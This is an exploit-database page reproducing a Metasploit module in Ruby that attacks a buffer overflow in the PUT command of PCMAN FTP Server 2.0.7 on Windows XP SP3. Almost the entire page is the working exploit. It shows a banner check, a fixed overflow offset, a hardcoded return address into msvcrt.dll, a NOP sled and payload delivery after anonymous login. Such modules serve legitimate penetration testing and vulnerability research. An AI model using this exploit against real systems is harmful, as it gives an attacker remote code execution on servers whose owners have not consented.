Sploitus

Exploit for PCMAN FTP Server Buffer Overflow - PUT Command

metasploit · 2015-08-07

Exploit Code

ruby87 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-FTP-PCMAN_PUT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
        'Description' => %q{
          This module exploits a buffer overflow vulnerability found in the PUT command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credentials are enabled.
        },
        'Author' => [
          'Jay Turla', # Initial Discovery -- @shipcod3
          'Chris Higgins' # msf Module -- @ch1gg1ns
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-4730' ],
          [ 'EDB', '37731'],
          [ 'OSVDB', '94624']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x0A\x0D",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2007
            }
          ],
        ],
        'DisclosureDate' => '2015-08-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def post_auth?
    true
  end

  def check
    connect_login
    disconnect

    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears('FTP banner indicates PCMan FTP Server 2.0')
    else
      Exploit::CheckCode::Safe('FTP banner does not match PCMan FTP Server 2.0')
    end
  end

  def exploit
    connect_login

    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded

    send_cmd(["PUT", sploit], false)
    disconnect
  end
end